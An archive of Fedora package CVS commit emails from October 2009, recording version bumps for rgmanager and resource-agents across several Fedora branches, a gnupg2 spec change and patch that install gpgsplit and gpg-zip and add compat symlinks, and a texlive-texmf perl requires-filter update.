 * Tue Sep  1 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - Split from cluster srpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	25 Sep 2009 10:58:55 -0000	1.25
+++ sources	21 Oct 2009 11:50:31 -0000	1.26
@@ -1 +1 @@
-3cb25e8ddfd229831a37ba31a8b7ad56  rgmanager-3.0.3.tar.gz
+17b0d93350e2bd719e3b684a5d6de1fe  rgmanager-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:50:51 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:50:51 +0000 (UTC)
Subject: rpms/rgmanager/F-11 .cvsignore, 1.16, 1.17 rgmanager.spec, 1.46,
	1.47 sources, 1.25, 1.26
Message-ID: <20091021115051.DF89011C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/rgmanager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15676

Modified Files:
	.cvsignore rgmanager.spec sources 
Log Message:
New upstream release fixes different bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-11/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	9 Oct 2009 06:00:35 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:50:51 -0000	1.17
@@ -1 +1 @@
-rgmanager-3.0.3.tar.gz
+rgmanager-3.0.4.tar.gz


Index: rgmanager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-11/rgmanager.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- rgmanager.spec	9 Oct 2009 06:00:36 -0000	1.46
+++ rgmanager.spec	21 Oct 2009 11:50:51 -0000	1.47
@@ -18,7 +18,7 @@
 
 Name: rgmanager
 Summary: Open Source HA Resource Group Failover for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -87,5 +87,8 @@ fi
 %{_mandir}/man8/clu*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+
 * Tue Sep  1 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - Split from cluster srpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	9 Oct 2009 06:00:36 -0000	1.25
+++ sources	21 Oct 2009 11:50:51 -0000	1.26
@@ -1 +1 @@
-3cb25e8ddfd229831a37ba31a8b7ad56  rgmanager-3.0.3.tar.gz
+17b0d93350e2bd719e3b684a5d6de1fe  rgmanager-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:56:35 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:56:35 +0000 (UTC)
Subject: rpms/rgmanager/F-10 .cvsignore, 1.15, 1.16 Makefile, 1.5,
	1.6 rgmanager.spec, 1.45, 1.46 sources, 1.24, 1.25 dead.package,
	1.1, NONE
Message-ID: <20091021115635.BF14E11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/rgmanager/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16987

Added Files:
	.cvsignore Makefile rgmanager.spec sources 
Removed Files:
	dead.package 
Log Message:
First rebuild in F-10



Index: .cvsignore
===================================================================
RCS file: .cvsignore
diff -N .cvsignore
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ .cvsignore	21 Oct 2009 11:56:35 -0000	1.16
@@ -0,0 +1 @@
+rgmanager-3.0.4.tar.gz


Index: Makefile
===================================================================
RCS file: Makefile
diff -N Makefile
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ Makefile	21 Oct 2009 11:56:35 -0000	1.6
@@ -0,0 +1,21 @@
+# Makefile for source rpm: rgmanager
+# $Id$
+NAME := rgmanager
+SPECFILE = $(firstword $(wildcard *.spec))
+
+define find-makefile-common
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+endef
+
+MAKEFILE_COMMON := $(shell $(find-makefile-common))
+
+ifeq ($(MAKEFILE_COMMON),)
+# attept a checkout
+define checkout-makefile-common
+test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
+endef
+
+MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
+endif
+
+include $(MAKEFILE_COMMON)


Index: rgmanager.spec
===================================================================
RCS file: rgmanager.spec
diff -N rgmanager.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ rgmanager.spec	21 Oct 2009 11:56:35 -0000	1.46
@@ -0,0 +1,94 @@
+###############################################################################
+###############################################################################
+##
+##  Copyright (C) 2004-2009 Red Hat, Inc.  All rights reserved.
+##
+##  This copyrighted material is made available to anyone wishing to use,
+##  modify, copy, or redistribute it subject to the terms and conditions
+##  of the GNU General Public License v.2.
+##
+###############################################################################
+###############################################################################
+
+# main (empty) package
+# http://www.rpm.org/max-rpm/s1-rpm-subpack-spec-file-changes.html
+
+# keep around ready for later user
+## define alphatag rc4
+
+Name: rgmanager
+Summary: Open Source HA Resource Group Failover for Red Hat Cluster
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+License: GPLv2+ and LGPLv2+
+Group: System Environment/Base
+URL: http://sources.redhat.com/cluster/wiki/
+Source0: ftp://sources.redhat.com/pub/cluster/releases/rgmanager-%{version}%{?alphatag:.%{alphatag}}.tar.gz
+
+## runtime
+
+Requires: chkconfig initscripts
+Requires: cman resource-agents
+Requires(post): chkconfig
+Requires(preun): initscripts
+Requires(preun): chkconfig
+
+## Setup/build bits
+
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+
+# Build dependencies
+BuildRequires: clusterlib-devel >= 3.0.0-1
+BuildRequires: libxml2-devel ncurses-devel slang-devel
+
+%prep
+%setup -q -n rgmanager-%{version}%{?alphatag:.%{alphatag}}
+
+%build
+./configure \
+  --sbindir=%{_sbindir} \
+  --initddir=%{_sysconfdir}/rc.d/init.d \
+  --libdir=%{_libdir} \
+  --without_fence_agents \
+  --without_resource_agents \
+  --without_kernel_modules \
+  --disable_kernel_check
+
+##CFLAGS="$(echo '%{optflags}')" make %{_smp_mflags}
+CFLAGS="$(echo '%{optflags}')" make -C rgmanager all
+
+%install
+rm -rf %{buildroot}
+make -C rgmanager install DESTDIR=%{buildroot}
+
+%clean
+rm -rf %{buildroot}
+
+%description
+Red Hat Resource Group Manager provides high availability of critical server
+applications in the event of planned or unplanned system downtime.
+
+%post
+/sbin/chkconfig --add rgmanager
+
+%preun
+if [ "$1" = 0 ]; then
+	/sbin/service rgmanager stop >/dev/null 2>&1
+	/sbin/chkconfig --del rgmanager
+fi
+
+%files
+%defattr(-,root,root,-)
+%doc doc/COPYING.* doc/COPYRIGHT doc/README.licence rgmanager/README rgmanager/errors.txt
+%{_sysconfdir}/rc.d/init.d/rgmanager
+%{_sbindir}/clu*
+%{_sbindir}/rgmanager
+%{_sbindir}/rg_test
+%{_mandir}/man8/clu*
+
+%changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+
+* Tue Sep  1 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- Split from cluster srpm


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	21 Oct 2009 11:56:35 -0000	1.25
@@ -0,0 +1 @@
+17b0d93350e2bd719e3b684a5d6de1fe  rgmanager-3.0.4.tar.gz


--- dead.package DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 11:58:51 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:58:51 +0000 (UTC)
Subject: rpms/resource-agents/devel .cvsignore, 1.16,
	1.17 resource-agents.spec, 1.17, 1.18 sources, 1.16, 1.17
Message-ID: <20091021115851.0C9DC11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17595

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	21 Oct 2009 07:14:04 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:58:50 -0000	1.17
@@ -1,2 +1,2 @@
 099c0e5d80db.tar.bz2
-resource-agents-3.0.3.tar.gz
+resource-agents-3.0.4.tar.gz


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/resource-agents.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- resource-agents.spec	21 Oct 2009 07:14:04 -0000	1.17
+++ resource-agents.spec	21 Oct 2009 11:58:50 -0000	1.18
@@ -24,8 +24,8 @@
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
-Version: 3.0.3
-Release: 3%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -158,6 +158,9 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New rgmanager resource agents upstream release
+
 * Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-3
 - Update Pacameker agents to upstream version: 099c0e5d80db
   + Add the ha_parameter function back into .ocf-shellfuncs.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	21 Oct 2009 07:14:04 -0000	1.16
+++ sources	21 Oct 2009 11:58:50 -0000	1.17
@@ -1,2 +1,2 @@
 98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
-91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz
+7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:59:45 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:59:45 +0000 (UTC)
Subject: rpms/resource-agents/F-12 .cvsignore, 1.16,
	1.17 resource-agents.spec, 1.18, 1.19 sources, 1.16, 1.17
Message-ID: <20091021115945.61D7011C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17771

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
New upstream release for rgmanager ras fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	13 Oct 2009 09:13:19 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:59:45 -0000	1.17
@@ -1,2 +1,2 @@
 099c0e5d80db.tar.bz2
-resource-agents-3.0.3.tar.gz
+resource-agents-3.0.4.tar.gz


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/resource-agents.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- resource-agents.spec	13 Oct 2009 09:13:19 -0000	1.18
+++ resource-agents.spec	21 Oct 2009 11:59:45 -0000	1.19
@@ -24,8 +24,8 @@
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
-Version: 3.0.3
-Release: 3%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -158,6 +158,9 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New rgmanager resource agents upstream release
+
 * Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-3
 - Update Pacameker agents to upstream version: 099c0e5d80db
   + Add the ha_parameter function back into .ocf-shellfuncs.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	13 Oct 2009 09:13:19 -0000	1.16
+++ sources	21 Oct 2009 11:59:45 -0000	1.17
@@ -1,2 +1,2 @@
 98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
-91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz
+7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 12:02:50 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 12:02:50 +0000 (UTC)
Subject: rpms/resource-agents/F-11 .cvsignore, 1.7, 1.8 resource-agents.spec,
	1.8, 1.9 sources, 1.8, 1.9
Message-ID: <20091021120250.3254211C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19084

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	9 Oct 2009 05:56:40 -0000	1.7
+++ .cvsignore	21 Oct 2009 12:02:49 -0000	1.8
@@ -1 +1 @@
-resource-agents-3.0.3.tar.gz
+resource-agents-3.0.4.tar.gz


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/resource-agents.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- resource-agents.spec	9 Oct 2009 05:56:40 -0000	1.8
+++ resource-agents.spec	21 Oct 2009 12:02:49 -0000	1.9
@@ -18,7 +18,7 @@
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -72,6 +72,9 @@ services to operate in a High Availabili
 %{_datadir}/cluster
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release.
+
 * Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	9 Oct 2009 05:56:40 -0000	1.8
+++ sources	21 Oct 2009 12:02:49 -0000	1.9
@@ -1 +1 @@
-91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz
+7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 12:04:53 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 12:04:53 +0000 (UTC)
Subject: rpms/resource-agents/F-10 .cvsignore, 1.3, 1.4 resource-agents.spec,
	1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091021120453.CC77911C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19679

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Mar 2009 06:54:30 -0000	1.3
+++ .cvsignore	21 Oct 2009 12:04:53 -0000	1.4
@@ -1 +1 @@
-resource-agents-3.0.0.alpha6.tar.gz
+resource-agents-3.0.4.tar.gz


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-10/resource-agents.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- resource-agents.spec	31 Jul 2009 08:27:57 -0000	1.4
+++ resource-agents.spec	21 Oct 2009 12:04:53 -0000	1.5
@@ -18,8 +18,8 @@
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
-Version: 3.0.0
-Release: 12%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -72,6 +72,12 @@ services to operate in a High Availabili
 %{_datadir}/cluster
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release.
+
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- New upstream release.
+
 * Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-12
 - New upstream release.
 - spec file updates:


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 08:27:57 -0000	1.4
+++ sources	21 Oct 2009 12:04:53 -0000	1.5
@@ -1 +1 @@
-485253db9ea4d48d38d7a0aef84cf660  resource-agents-3.0.0.tar.gz
+7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz



From tmraz at fedoraproject.org  Wed Oct 21 12:28:38 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Wed, 21 Oct 2009 12:28:38 +0000 (UTC)
Subject: rpms/gnupg2/devel gnupg-2.0.13-insttools.patch, NONE,
	1.1 gnupg2.spec, 1.94, 1.95
Message-ID: <20091021122838.6B12011C00E8@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/gnupg2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26668

Modified Files:
	gnupg2.spec 
Added Files:
	gnupg-2.0.13-insttools.patch 
Log Message:
* Wed Oct 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.0.13-2
- provide/obsolete gnupg-1 and add compat symlinks to be able to drop
  gnupg-1


gnupg-2.0.13-insttools.patch:
 Makefile.am |    8 ++++----
 Makefile.in |    6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE gnupg-2.0.13-insttools.patch ---
diff -up gnupg-2.0.13/tools/Makefile.am.insttools gnupg-2.0.13/tools/Makefile.am
--- gnupg-2.0.13/tools/Makefile.am.insttools	2009-04-17 19:39:47.000000000 +0200
+++ gnupg-2.0.13/tools/Makefile.am	2009-10-21 14:13:42.000000000 +0200
@@ -32,8 +32,8 @@ sbin_SCRIPTS = addgnupghome applygnupgde
 
 bin_SCRIPTS = gpgsm-gencert.sh
 if HAVE_USTAR
-# bin_SCRIPTS += gpg-zip
-noinst_SCRIPTS = gpg-zip
+bin_SCRIPTS += gpg-zip
+#noinst_SCRIPTS = gpg-zip
 endif
 
 if BUILD_SYMCRYPTRUN
@@ -42,7 +42,7 @@ else
   symcryptrun =
 endif
 
-bin_PROGRAMS = gpgconf gpg-connect-agent gpgkey2ssh ${symcryptrun}
+bin_PROGRAMS = gpgconf gpg-connect-agent gpgkey2ssh ${symcryptrun} gpgsplit
 if !HAVE_W32_SYSTEM
 bin_PROGRAMS += watchgnupg gpgparsemail
 endif
@@ -51,7 +51,7 @@ if !DISABLE_REGEX
 libexec_PROGRAMS = gpg-check-pattern
 endif
 
-noinst_PROGRAMS = clean-sat mk-tdata make-dns-cert gpgsplit
+noinst_PROGRAMS = clean-sat mk-tdata make-dns-cert
 
 common_libs = $(libcommon) ../jnlib/libjnlib.a ../gl/libgnu.a
 pwquery_libs = ../common/libsimple-pwquery.a
diff -up gnupg-2.0.13/tools/Makefile.in.insttools gnupg-2.0.13/tools/Makefile.in
--- gnupg-2.0.13/tools/Makefile.in.insttools	2009-09-04 18:09:12.000000000 +0200
+++ gnupg-2.0.13/tools/Makefile.in	2009-10-21 14:15:17.000000000 +0200
@@ -87,11 +87,11 @@ DIST_COMMON = $(srcdir)/Makefile.am $(sr
 @GNUPG_DIRMNGR_PGM_TRUE at am__append_5 = -DGNUPG_DEFAULT_DIRMNGR="\"@GNUPG_DIRMNGR_PGM@\""
 @GNUPG_PROTECT_TOOL_PGM_TRUE at am__append_6 = -DGNUPG_DEFAULT_PROTECT_TOOL="\"@GNUPG_PROTECT_TOOL_PGM@\""
 bin_PROGRAMS = gpgconf$(EXEEXT) gpg-connect-agent$(EXEEXT) \
-	gpgkey2ssh$(EXEEXT) $(am__EXEEXT_1) $(am__EXEEXT_2)
+	gpgkey2ssh$(EXEEXT) gpgsplit$(EXEEXT) $(am__EXEEXT_1) $(am__EXEEXT_2)
 @HAVE_W32_SYSTEM_FALSE at am__append_7 = watchgnupg gpgparsemail
 @DISABLE_REGEX_FALSE at libexec_PROGRAMS = gpg-check-pattern$(EXEEXT)
 noinst_PROGRAMS = clean-sat$(EXEEXT) mk-tdata$(EXEEXT) \
-	make-dns-cert$(EXEEXT) gpgsplit$(EXEEXT)
+	make-dns-cert$(EXEEXT)
 subdir = tools
 ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
 am__aclocal_m4_deps = $(top_srcdir)/gl/m4/absolute-header.m4 \
@@ -425,7 +425,7 @@ AM_CFLAGS = $(LIBGCRYPT_CFLAGS) $(GPG_ER
 sbin_SCRIPTS = addgnupghome applygnupgdefaults
 bin_SCRIPTS = gpgsm-gencert.sh
 # bin_SCRIPTS += gpg-zip
- at HAVE_USTAR_TRUE@noinst_SCRIPTS = gpg-zip
+ at HAVE_USTAR_TRUE@bin_SCRIPTS += gpg-zip
 @BUILD_SYMCRYPTRUN_FALSE at symcryptrun = 
 @BUILD_SYMCRYPTRUN_TRUE at symcryptrun = symcryptrun
 common_libs = $(libcommon) ../jnlib/libjnlib.a ../gl/libgnu.a


Index: gnupg2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnupg2/devel/gnupg2.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- gnupg2.spec	4 Sep 2009 21:33:45 -0000	1.94
+++ gnupg2.spec	21 Oct 2009 12:28:38 -0000	1.95
@@ -2,7 +2,7 @@
 Summary: Utility for secure communication and data storage
 Name:    gnupg2
 Version: 2.0.13
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv3+
 Group:   Applications/System
@@ -10,6 +10,8 @@ Source0: ftp://ftp.gnupg.org/gcrypt/%{?p
 Source1: ftp://ftp.gnupg.org/gcrypt/%{?pre:alpha/}gnupg/gnupg-%{version}%{?pre}.tar.bz2.sig
 # svn export svn://cvs.gnupg.org/gnupg/trunk gnupg2; tar cjf gnupg-<date>svn.tar.bz2 gnupg2
 #Source0: gnupg2-20090809svn.tar.bz2
+Patch1:  gnupg-2.0.13-insttools.patch
+
 URL:     http://www.gnupg.org/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -45,6 +47,9 @@ Requires(hint): pinentry
 
 # pgp-tools, perl-GnuPG-Interface requires 'gpg' (not sure why) -- Rex
 Provides: gpg = %{version}-%{release}
+# Obsolete GnuPG-1 package
+Provides: gnupg = 1.4.10
+Obsoletes: gnupg <= 1.4.10
 
 %description
 GnuPG is GNU's tool for secure communication and data storage.  It can
@@ -71,6 +76,8 @@ dependency on other modules at run and b
 %prep
 %setup -q -n gnupg-%{version}
 
+%patch1 -p1 -b .insttools
+
 # pcsc-lite library major: 0 in 1.2.0, 1 in 1.2.9+ (dlopen()'d in pcsc-wrapper)
 # Note: this is just the name of the default shared lib to load in scdaemon,
 # it can use other implementations too (including non-pcsc ones).
@@ -115,11 +122,12 @@ touch %{buildroot}%{_sysconfdir}/gnupg/g
 install -m644 -p AUTHORS COPYING ChangeLog NEWS THANKS TODO \
   %{buildroot}%{_docdir}/%{name}-%{version}/
 
-## Unpackaged files
-# file conflicts with gnupg-1.x
-# shouldn't gnupg2 be providing these now (maybe only f11+)? -- Rex
-rm -f %{buildroot}%{_bindir}/{gpgsplit,gpg-zip} 
-rm -f %{buildroot}%{_mandir}/man1/gpg-zip.1*
+# compat symlinks
+ln -sf gpg2 %{buildroot}%{_bindir}/gpg
+ln -sf gpgv2 %{buildroot}%{_bindir}/gpgv
+ln -sf gpg2.1 %{buildroot}%{_mandir}/man1/gpg.1
+ln -sf gpgv2.1 %{buildroot}%{_mandir}/man1/gpgv.1
+
 
 # info dir
 rm -f %{buildroot}%{_infodir}/dir
@@ -151,14 +159,16 @@ fi
 #attr(4755,root,root) %{_bindir}/gpg2
 %{_bindir}/gpg2
 %{_bindir}/gpgv2
+%{_bindir}/gpg
+%{_bindir}/gpgv
 %{_bindir}/gpg-connect-agent
 %{_bindir}/gpg-agent
 %{_bindir}/gpgconf
 %{_bindir}/gpgkey2ssh
 %{_bindir}/gpgparsemail
 %{_bindir}/gpgsm*
-#{_bindir}/gpgsplit
-#{_bindir}/gpg-zip
+%{_bindir}/gpgsplit
+%{_bindir}/gpg-zip
 %{_bindir}/kbxutil
 %{_bindir}/scdaemon
 %{_bindir}/watchgnupg
@@ -174,6 +184,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.0.13-2
+- provide/obsolete gnupg-1 and add compat symlinks to be able to drop
+  gnupg-1
+
 * Fri Sep 04 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.0.13-1
 - gnupg-2.0.13
 - Unable to use gpg-agent + input methods (#228953)



From jnovy at fedoraproject.org  Wed Oct 21 12:43:26 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 12:43:26 +0000 (UTC)
Subject: rpms/texlive-texmf/devel texlive-filter-requires.sh, 1.2,
	1.3 texlive-texmf.spec, 1.34, 1.35
Message-ID: <20091021124326.DA44111C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive-texmf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31910

Modified Files:
	texlive-filter-requires.sh texlive-texmf.spec 
Log Message:
* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
- do not conflict with dvipdfm
- update perl requires filter



Index: texlive-filter-requires.sh
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/devel/texlive-filter-requires.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-filter-requires.sh	29 Aug 2008 05:09:04 -0000	1.2
+++ texlive-filter-requires.sh	21 Oct 2009 12:43:26 -0000	1.3
@@ -1,2 +1,2 @@
 #!/bin/sh
-/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\)'
+/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\|Reg_macro\)'


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/devel/texlive-texmf.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- texlive-texmf.spec	16 Oct 2009 05:34:30 -0000	1.34
+++ texlive-texmf.spec	21 Oct 2009 12:43:26 -0000	1.35
@@ -14,7 +14,7 @@
 
 Name:		texlive-texmf
 Version:	2007
-Release:	30%{?dist}
+Release:	31%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -427,6 +427,9 @@ rm -rf %{buildroot}%{_texmf_main}/doc/la
 # remove $TEXMFMAIN/tex/texinfo to not to clash with texinfo (#226488)
 rm -rf %{buildroot}%{_texmf_main}/tex/texinfo/
 
+# remove dvipdfm configuration file
+rm -rf %{buildroot}%{_texmf_main}/dvipdfm
+
 # create macro file for building texlive
 mkdir -p %{buildroot}%{_sysconfdir}/rpm
